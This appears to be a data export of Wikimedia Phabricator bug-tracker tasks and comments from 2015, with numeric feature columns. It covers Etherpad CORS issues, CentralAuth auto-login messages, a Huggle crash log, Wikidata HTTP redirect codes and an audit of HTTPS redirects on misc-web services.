+(FWIW it did not seem limited to pads I visited before. Refreshing did help though.)",,,1435306434,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-4s6qj5xnajphvsartvze,task_subcomment,,True,c3,2,True,,,-1,True,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+482317,Etherpad buttons look broken on HTTPS,"Change 221035 abandoned by Gergő Tisza:
+Set CORS headers on etherpad static files
+
+[[https://gerrit.wikimedia.org/r/221035]]",,,1435306041,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4s6qj5xnajphvsartvze,task_subcomment,,True,c3,2,False,,,-1,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+482302,Etherpad buttons look broken on HTTPS,"Please see my email to wmfall and wikitech-l on Jun 12. TL;DR, etherpad upgraded, need to refresh prior visited pads.",,,1435302495,,PHID-USER-xwxce3kpvsv54t735g7q,False,,,PHID-TASK-4s6qj5xnajphvsartvze,task_subcomment,,True,c3,2,True,,,-1,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+482223,Etherpad buttons look broken on HTTPS,"Change 221035 had a related patch set uploaded (by Gergő Tisza):
+Set CORS headers on etherpad static files
+
+[[https://gerrit.wikimedia.org/r/221035]]
+",,,1435282429,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4s6qj5xnajphvsartvze,task_subcomment,,True,c3,2,False,,,-1,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+103899,Measure percent of traffic using SPDY / HTTP 2,We need to know what percentage of our traffic uses SPDY so we know how to optimize our content delivery.,Needs Triage,90.0,1435261751,1435432904.0,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,PHID-TASK-qcdwwhetazj665yo4vr6,task_description,resolved,True,c3,2,True,True,True,-1,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+483008,Measure percent of traffic using SPDY / HTTP 2,http://grafana.wikimedia.org/#/dashboard/db/client-connections,,,1435432904,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-qcdwwhetazj665yo4vr6,task_subcomment,,True,c3,2,True,,,-1,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+103883,CentralAuth wrongly reports successful auto-login on mirrors,"Using e.g. google cache:
+
+http://webcache.googleusercontent.com/search?q=cache:https://en.wikipedia.org/%3Ftitle%3DMs.+
+
+It pops up ""You are centrally logged in. Reload the page to apply your user settings."" every time but this is obviously not true. I don't know what it did, but it didn't establish an meaningful session.
+
+I don't know if it is feasible to prevent the auto-login attempt when it isn't useful. But at least we shouldn't report that it succeeded when it didn't.
+'
+Possibly related:
+* {T100413}",Needs Triage,90.0,1435256683,1697391554.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-am3byyeidwur25exea4k,task_description,resolved,True,c3,2,True,False,False,-1,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,1,0
+2211543,CentralAuth wrongly reports successful auto-login on mirrors,"Change 965729 **merged** by jenkins-bot:
+%%%[mediawiki/extensions/CentralAuth@master] Remove success notification when we can't get autologin response%%%
+https://gerrit.wikimedia.org/r/965729",,,1697226614,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-am3byyeidwur25exea4k,task_subcomment,,True,c3,3,False,,,432,True,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,1
+2211195,CentralAuth wrongly reports successful auto-login on mirrors,"Change 965729 had a related patch set uploaded (by Bartosz Dziewoński; author: Bartosz Dziewoński):
+%%%[mediawiki/extensions/CentralAuth@master] Remove success notification when we can't get autologin response%%%
+https://gerrit.wikimedia.org/r/965729",,,1697199380,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-am3byyeidwur25exea4k,task_subcomment,,True,c3,3,False,,,432,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,1
+517083,CentralAuth wrongly reports successful auto-login on mirrors,">>! In T103883#1401661, @csteipp wrote:
+> It would be less efficient, but we could load the personalization message via xhr, so only CORS domains could load it. I think we've talked about that previously, but I don't recall the outcome.
+
+I don't recall that either, but I imagine one issue there is that we support a superset of browsers that support CORS. Though we can fallback to current behaviour in that case (using e.g. bool `$.support.cors`). Can you elaborate on what we'd use CORS for exactly?",,,1440810838,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-am3byyeidwur25exea4k,task_subcomment,,True,c3,3,True,,,8,True,0,0,0,0,1,1,1,0,1,0,1,1,0,1,1,1,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,0,1,1,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,0,1,1,0,1,1,0,1
+481866,CentralAuth wrongly reports successful auto-login on mirrors,"Duplicate / generalization of https://phabricator.wikimedia.org/T57887?
+
+T100413 is related in that we see this affect when the autologin script is run on a domain that doesn't map to a wiki id, which is currently the case for *.m.* domains at the WMF.
+
+It would be less efficient, but we could load the personalization message via xhr, so only CORS domains could load it. I think we've talked about that previously, but I don't recall the outcome.",,,1435257171,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-am3byyeidwur25exea4k,task_subcomment,,True,c3,2,True,,,-1,True,0,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,1,1,0,0,1,0,0
+103825,Problem in Login,"Unfortunately Huggle has crashed. Please submit the following information together with details of what were you doing to https://phabricator.wikimedia.org/maniphest/task/create/?projects=Huggle
+
+System log
+==================
+qui jun 25 08:23:17 2015: Loaded in 137ms
+qui jun 25 08:23:17 2015: Extensions: 4
+qui jun 25 08:23:17 2015: Successfully loaded: C:\Program Files\Huggle\extensions\huggle_thanks.dll
+qui jun 25 08:23:17 2015: Successfully loaded: C:\Program Files\Huggle\extensions\huggle_sh.dll
+qui jun 25 08:23:17 2015: Successfully loaded: C:\Program Files\Huggle\extensions\huggle_md.dll
+qui jun 25 08:23:17 2015: Successfully loaded: C:\Program Files\Huggle\extensions\huggle_en.dll
+qui jun 25 08:23:16 2015: Loading plugins in C:\Program Files\Huggle\extensions and C:\Users\wrodriguez.TI014\AppData\Local\Wikimedia\Huggle\extensions\
+qui jun 25 08:23:16 2015: Home: C:/Users/wrodriguez.TI014/AppData/Local/Wikimedia/Huggle
+qui jun 25 08:23:16 2015: Loading configuration
+qui jun 25 08:23:16 2015: Huggle 3 QT-LX, version 3.1.12 build: 2563 3.1.12-1-ga0be145
+
+
+
+
+Exception details
+===========================
+Error code: 2
+Reason: There is no data to be processed
+Source:void __cdecl Huggle::ApiQueryResult::Process(void)@C:\Users\petr.bena\Documents\huggle3-qt-lx\huggle\apiqueryresult.cpp:89
+Stack trace:
+25 unknown symbol 0x0
+24 unknown symbol 0x0
+23 unknown symbol 0x0
+22 unknown symbol 0x0
+21 unknown symbol 0x0
+20 QMetaObject::activate 0x633519f0
+19 QNetworkReply::writeData 0x61152c00
+18 QNetworkReply::uploadProgress 0x611c7770
+17 QObject::event 0x63356530
+16 QApplicationPrivate::notify_helper 0x61545bb0
+15 QApplication::notify 0x61543290
+14 QApplication::notify 0x61543290
+13 QCoreApplication::notifyInternal 0x63330df0
+12 QCoreApplicationPrivate::sendPostedEvents 0x633327d0
+11 QCoreApplicationPrivate::sendPostedEvents 0x633327d0
+10 QEventDispatcherWin32::processEvents 0x63376fc0
+9 TranslateMessageEx 0x77b09930
+8 TranslateMessage 0x77b096f0
+7 QEventDispatcherWin32::processEvents 0x63376fc0
+6 QEventDispatcherWin32::processEvents 0x63376fc0
+5 QEventLoop::exec 0x6332dce0
+4 QCoreApplication::exec 0x6332ff60
+3 QCoreApplication::exec 0x6332ff60
+2 QCoreApplication::exec 0x6332ff60
+1 BaseThreadInitThunk 0x779e59c0
+0 RtlUserThreadStart 0x77c1b960
+",Needs Triage,90.0,1435231620,1436429848.0,PHID-USER-sm2f23424zudkl5bqgc6,False,PHID-USER-4j7xntcqqwei7izzlfnd,False,PHID-TASK-uehn6lnowyxchffklqbu,task_description,resolved,True,c3,2,False,False,True,-1,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,1,1,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,1
+489157,Problem in Login,"Since it works now and @petrb thinks he already fixed this, I'm closing it. Feel free to reopen if it occurs again.",,,1436429848,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-uehn6lnowyxchffklqbu,task_subcomment,,True,c3,3,True,,,1,True,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,0,0
+481586,Problem in Login,"Well, I deleted all in my personal configuration page and it work now
+
+https://es.wikipedia.org/w/index.php?title=Usuario%3AThe_Photographer%2Fhuggle.css&type=revision&diff=83407834&oldid=79498709
+
+Realy I dont know why",,,1435240088,,PHID-USER-sm2f23424zudkl5bqgc6,False,,,PHID-TASK-uehn6lnowyxchffklqbu,task_subcomment,,True,c3,2,False,,,-1,True,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0
+481557,Problem in Login,Does it happen when you try again or it only happened once? I also think this might have been fixed in last version.,,,1435236842,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-uehn6lnowyxchffklqbu,task_subcomment,,True,c3,2,True,,,-1,True,0,0,0,1,0,1,0,0,0,0,1,0,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0,0
+103807,Wikidata use the wrong HTTP-code for content negotiation,"Not quite sure if the content negotiation is part of the extension or the site setup. I think it happen after the first hit on the Special:EntityData, and therefore is part of the extension.
+
+During negotiation between the external client (as in web browser) and the repo the sequence is now HTTP 301 (secure connection) - HTTP 303 (address resolution) - HTTP 303 (content negotiation) - HTTP 200 (content delivery).
+
+The response code for address resolution should be HTTP 303 See other (correct impl., [[ http://www.w3.org/TR/cooluris/ | Cool URIs for the Semantic Web ]]) while content negotiation should be HTTP 302 Found (wrong impl., [[ http://www.w3.org/2001/tag/doc/alternatives-discovery-20061101.html | On Linking Alternative Representations To Enable Discovery And Publishing ]]).
+
+There are a lot of sites that use ""HTTP 301 Moved permanently"" and ""HTTP 303 See other"" for content negotiation, but ""HTTP 302 Found"" (also called ""HTTP 302 Moved temporarily"") is the correct one. See also [[ http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html | HTTP/1.1: Status Code Definitions ]].
+
+**Server responses**
+
+```
+john@heimdal:~/tmp$ wget -S www.wikidata.org/entity/Q36661
+--2015-06-25 10:59:13--  http://www.wikidata.org/entity/Q36661
+Slår opp vertsnavn www.wikidata.org (www.wikidata.org) … 91.198.174.192, 2620:0:862:ed1a::1
+Kobler til www.wikidata.org (www.wikidata.org)|91.198.174.192|:80 … tilkoblet.
+HTTP forespørsel sendt. Venter på svar … 
+  HTTP/1.1 301 TLS Redirect
+  Server: Varnish
+  Location: https://www.wikidata.org/entity/Q36661
+  Content-Length: 0
+  Accept-Ranges: bytes
+  Date: Thu, 25 Jun 2015 08:59:14 GMT
+  X-Varnish: 1438332533
+  Age: 0
+  Via: 1.1 varnish
+  Connection: close
+  X-Cache: cp3008 frontend miss (0)
+  Set-Cookie: GeoIP=NO:11:Lillehammer:61.1333:10.5000:v4; Path=/; Domain=.wikidata.org
+  Set-Cookie: WMF-Last-Access=25-Jun-2015;Path=/;HttpOnly;Expires=Mon, 27 Jul 2015 00:00:00 GMT
+Plassering: https://www.wikidata.org/entity/Q36661 [følgende]
+--2015-06-25 10:59:14--  https://www.wikidata.org/entity/Q36661
+Kobler til www.wikidata.org (www.wikidata.org)|91.198.174.192|:443 … tilkoblet.
+HTTP forespørsel sendt. Venter på svar … 
+  HTTP/1.1 303 See Other
+  Server: nginx/1.9.2
+  Date: Thu, 25 Jun 2015 08:59:14 GMT
+  Content-Type: text/html; charset=iso-8859-1
+  Content-Length: 262
+  Connection: keep-alive
+  X-Powered-By: HHVM/3.3.0-static
+  Location: https://www.wikidata.org/wiki/Special:EntityData/Q36661
+  X-Varnish: 2371060664, 1854837344, 134795471
+  Via: 1.1 varnish, 1.1 varnish, 1.1 varnish
+  Accept-Ranges: bytes
+  Age: 0
+  X-Cache: cp1053 miss (0), cp3041 miss (0), cp3041 frontend miss (0)
+  Strict-Transport-Security: max-age=1209600
+  X-Analytics: https=1;WMF-Last-Access=25-Jun-2015
+Plassering: https://www.wikidata.org/wiki/Special:EntityData/Q36661 [følgende]
+--2015-06-25 10:59:15--  https://www.wikidata.org/wiki/Special:EntityData/Q36661
+Bruker etablert tilkobling til www.wikidata.org:443 på nytt.
+HTTP forespørsel sendt. Venter på svar … 
+  HTTP/1.1 303 See Other               <<== WRONG CODE
+  Server: nginx/1.9.2
+  Date: Thu, 25 Jun 2015 08:59:15 GMT
+  Content-Type: text/html; charset=utf-8
+  Transfer-Encoding: chunked
+  Connection: keep-alive
+  X-Powered-By: HHVM/3.6.1
+  X-Content-Type-Options: nosniff
+  Vary: Accept-Encoding,X-Forwarded-Proto,Cookie
+  Expires: Thu, 01 Jan 1970 00:00:00 GMT
+  Location: https://www.wikidata.org/wiki/Special:EntityData/Q36661.json
+  Last-Modified: Thu, 25 Jun 2015 08:59:15 GMT
+  X-Varnish: 2436456097, 3983484236, 134797070
+  Via: 1.1 varnish, 1.1 varnish, 1.1 varnish
+  Age: 0
+  X-Cache: cp1067 miss (0), cp3005 miss (0), cp3041 frontend miss (0)
+  Strict-Transport-Security: max-age=1209600
+  Cache-Control: private, s-maxage=0, max-age=0, must-revalidate
+  X-Analytics: https=1;WMF-Last-Access=25-Jun-2015
+Plassering: https://www.wikidata.org/wiki/Special:EntityData/Q36661.json [følgende]
+--2015-06-25 10:59:15--  https://www.wikidata.org/wiki/Special:EntityData/Q36661.json
+Bruker etablert tilkobling til www.wikidata.org:443 på nytt.
+HTTP forespørsel sendt. Venter på svar … 
+  HTTP/1.1 200 OK
+  Server: nginx/1.9.2
+  Date: Thu, 25 Jun 2015 08:59:15 GMT
+  Content-Type: application/json; charset=UTF-8
+  Transfer-Encoding: chunked
+  Connection: keep-alive
+  X-Content-Type-Options: nosniff
+  X-Powered-By: HHVM/3.6.1
+  Access-Control-Allow-Origin: *
+  X-Frame-Options: DENY
+  Vary: Accept-Encoding
+  Last-Modified: Sat, 13 Jun 2015 14:37:25 GMT
+  X-Varnish: 2033080611, 3336853391, 134798470 125619796
+  Via: 1.1 varnish, 1.1 varnish, 1.1 varnish
+  Age: 1890
+  X-Cache: cp1066 miss (0), cp3008 miss (0), cp3041 frontend hit (2)
+  Strict-Transport-Security: max-age=1209600
+  Cache-Control: private, s-maxage=0, max-age=0, must-revalidate
+  X-Analytics: https=1;WMF-Last-Access=25-Jun-2015
+Lengde: ikke angitt [application/json]
+Lagrer til: «Q36661»
+
+```",Needs Triage,90.0,1435226033,1440514269.0,PHID-USER-vlni4mhyozor7ghqnfkl,False,PHID-USER-5dqihbanu3caaj7pigif,False,PHID-TASK-hzivl2b2hxmqtyn5wubq,task_description,invalid,True,c3,2,False,False,True,-1,True,0,0,0,0,1,1,1,0,0,1,1,0,0,0,1,1,1,1,1,0,1,1,1,0,1,1,0,0,0,0,1,1,1,1,0,0,0,0,1,1,0,0,1,1,0,1,0,1,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
+567942,Wikidata use the wrong HTTP-code for content negotiation,@jeblad Section 4.3 of the W3C document disagrees with you: it clearly states that 303 can and should be used for content negotiation. How about this? {T119536},,,1448388250,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-hzivl2b2hxmqtyn5wubq,task_subcomment,,True,c3,3,True,,,20,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,1,1,0,1,0,0,0,0,0,0
+567708,Wikidata use the wrong HTTP-code for content negotiation,"Sorry but you misunderstood. We are now sending 301 - 303 - 303 - 200 while the sequence should be 303 - 302 - 200. We are doing a content negotiation on a redirect. This is wrong. The correct code for _content_negotiation_ (ie content type for entity description) is 302. The correct one for _address_resolution_ (ie redirect for entity description) is 303.
+
+",,,1448359919,,PHID-USER-vlni4mhyozor7ghqnfkl,False,,,PHID-TASK-hzivl2b2hxmqtyn5wubq,task_subcomment,,True,c3,3,False,,,20,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+514212,Wikidata use the wrong HTTP-code for content negotiation,As per http://www.w3.org/TR/cooluris/#r303gendocument 303 is correct for content negotiation for linked data.,,,1440514269,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-hzivl2b2hxmqtyn5wubq,task_subcomment,,True,c3,3,True,,,7,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+103783,Add http auth support for www.musicbrainz.org,"https://wiki.musicbrainz.org is MW 1.19.2 and uses http authentication, and would be a good addition to the test suite.",Needs Triage,90.0,1435211740,1437718825.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-USER-ldooglhg45a3eg7cmxhh,False,PHID-TASK-4sidei2jix6luyxcjeuv,task_description,resolved,True,c3,2,True,False,True,-1,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+494608,Add http auth support for www.musicbrainz.org,"Change 225843 merged by jenkins-bot:
+Run SITE_ONLY tests on wiki.musicbrainz.org
+
+[[https://gerrit.wikimedia.org/r/225843]]",,,1437519710,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4sidei2jix6luyxcjeuv,task_subcomment,,True,c3,3,False,,,2,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+493756,Add http auth support for www.musicbrainz.org,"Change 225843 had a related patch set uploaded (by VcamX):
+Run SITE_ONLY tests on wiki.musicbrainz.org
+
+[[https://gerrit.wikimedia.org/r/225843]]
+",,,1437367030,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4sidei2jix6luyxcjeuv,task_subcomment,,True,c3,3,False,,,2,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+484063,Add http auth support for www.musicbrainz.org,"Thanks for investigating the OAuth & HTTP Digest Auth aspects.
+
+Yes, adding musicbrainz.org as a test case will be useful, so we do not accidentally regress http basic support as we did in T101494.",,,1435652802,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-4sidei2jix6luyxcjeuv,task_subcomment,,True,c3,2,True,,,-1,True,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+484023,Add http auth support for www.musicbrainz.org,"@jayvdb, under my investigation, OAuth and HTTP Digest Auth on musicbrainz.org work for its web service, which is its specific service, not MediaWiki API. So I think it's not applicable for test. But it uses both cookies and http basic auth for account login, it could be a test case.
+
+#### Reference:
+https://musicbrainz.org/doc/Development/XML_Web_Service/Version_2
+https://musicbrainz.org/doc/Development/OAuth2",,,1435645063,,PHID-USER-ldooglhg45a3eg7cmxhh,False,,,PHID-TASK-4sidei2jix6luyxcjeuv,task_subcomment,,True,c3,2,True,,,-1,True,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,0,0,1,1,1,0,0,1,1,1,1,1,0,0,0,0,1
+103773,check if services behind misc-web enforce http->https redirect or not,https://wikitech.wikimedia.org/wiki/User:Dzahn/misc-web-https,Needs Triage,90.0,1435196829,1435249504.0,PHID-USER-fo56wm4wxiwpoofn2xdu,False,PHID-USER-fo56wm4wxiwpoofn2xdu,False,PHID-TASK-uyostsqwp5mg7ko57qkc,task_description,resolved,True,c3,2,True,True,True,-1,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+481758,check if services behind misc-web enforce http->https redirect or not,"stat1001 - removed
+dev - pending to be removed
+download/dumps - afair there were concerns to enforce https here (what where they exactly?)
+releases - uses @webserver class unlike most other services, can't just edit config template 
+git - to be replaced anyways? phab
+graphite/grafana - concerns because of internal tools using it? was moved behind misc-web anyways
+parsoid-tests - ??",,,1435249667,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-uyostsqwp5mg7ko57qkc,task_subcomment,,True,c3,2,True,,,-1,True,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,1,0,0,1,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,1,0,0,1,0,1,0
+481752,check if services behind misc-web enforce http->https redirect or not,"All service names configured in ''./templates/varnish/misc.inc.vcl.erb''. Are they enforcing https?
+
+{| class=""wikitable sortable""
+|-
+! service name !! redirects http->https?
+|-
+| [http://git.wikimedia.org git.wikimedia.org] || NO
+|-
+| [http://doc.wikimedia.org doc.wikimedia.org] || YES
+|-
+| [http://integration.wikimedia.org integration.wikimedia.org] || YES
+|-
+| [http://download.wikimedia.org download.wikimedia.org] || NO (dumps.wikimedia.org)
+|-
+| [http://gerrit.wikimedia.org gerrit.wikimedia.org] || YES
+|-
+| [http://gdash.wikimedia.org gdash.wikimedia.org] || YES
+|-
+| [http://performance.wikimedia.org performance.wikimedia.org] || YES
+|-
+| [http://graphite.wikimedia.org graphite.wikimedia.org] || NO
+|-
+| [http://logstash.wikimedia.org logstash.wikimedia.org] || YES
+|-
+| [http://releases.wikimedia.org releases.wikimedia.org] || NO
+|-
+| [http://scholarships.wikimedia.org scholarships.wikimedia.org]|| YES
+|-
+| [http://transparency.wikimedia.org transparency.wikimedia.org] || YES
+|-
+| [http://grafana.wikimedia.org grafana.wikimedia.org] || NO
+|-
+| [http://iegreview.wikimedia.org iegreview.wikimedia.org] || YES
+|-
+| [http://annual.wikimedia.org annual.wikimedia.org] || YES
+|-
+| [http://policy.wikimedia.org policy.wikimedia.org] || YES
+|-
+| [http://parsoid-tests.wikimedia.org parsoid-tests.wikimedia.org] || NO (?)
+|-
+| [http://horizon.wikimedia.org horizon.wikimedia.org] || YES
+|-
+| [http://phabricator.wikimedia.org phabricator.wikimedia.org] || YES
+|-
+| [http://phab.wmfusercontent.org phab.wmfusercontent.org] || YES
+|-
+| [http://bugzilla.wikimedia.org bugzilla.wikimedia.org] || YES
+|-
+| [http://bugs.wikimedia.org bugs.wikimedia.org] || YES
+|-
+| [http://static-bugzilla.wikimedia.org static-bugzilla.wikimedia.org] || YES
+|-
+| [http://dev.wikimedia.org dev.wikimedia.org] || YES (actually redirect on cluster, remove)
+|-
+| [http://svn.wikimedia.org svn.wikimedia.org] || NO (about to be removed)
